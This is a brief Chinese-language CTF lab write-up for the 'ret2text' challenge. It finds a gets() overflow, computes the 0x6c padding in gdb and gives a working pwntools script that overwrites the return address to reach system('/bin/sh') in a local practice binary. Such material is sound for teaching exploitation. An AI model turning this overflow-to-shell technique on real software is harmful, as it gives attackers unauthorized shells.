[WP]CTFwiki-ret2text
1.首先运行一下程序
2.简单地检查一下程序,32位程序,开启了部分Relro保护,有NX保护(其实并没有什么影响)
3.观察 main 函数不难发现是通过 gets() 函数输入来覆盖返回值。
4.在 ida 里发现有 system("/bin/sh") 的代码,这样其实我们以及可以构造 exp 了,现在只需要测出覆盖长度即可
5.载入 gdb 中在 call gets 处下一个断点,之后查看寄存器(不同系统可能有所不同)
EBP: 0xffffd168 --> 0x0
ESP: 0xffffd0e0 --> 0xffffd0fc --> 0xf7ffd000 --> 0x26f34
6. 0x168 - 0xfc = 0x6c,之后可以写 exp 了
#!/usr/bin/env python from pwn import * #EBP = 0xffffd168 #ESP = 0xffffd0e0 -> 0xffffd0fc -> 0xf7ffd000 -> 0x26f34 #padding_num1 = d168 - d0fc = 0x6c #padding_num2 = 4 (32-bit) p = process('./ret2text') bin_sh_addr = 0x804863A payload = 'a' * (0x6c + 0x4) + p32(bin_sh_addr) p.recvuntil('thing?') p.sendline(payload) p.interactive()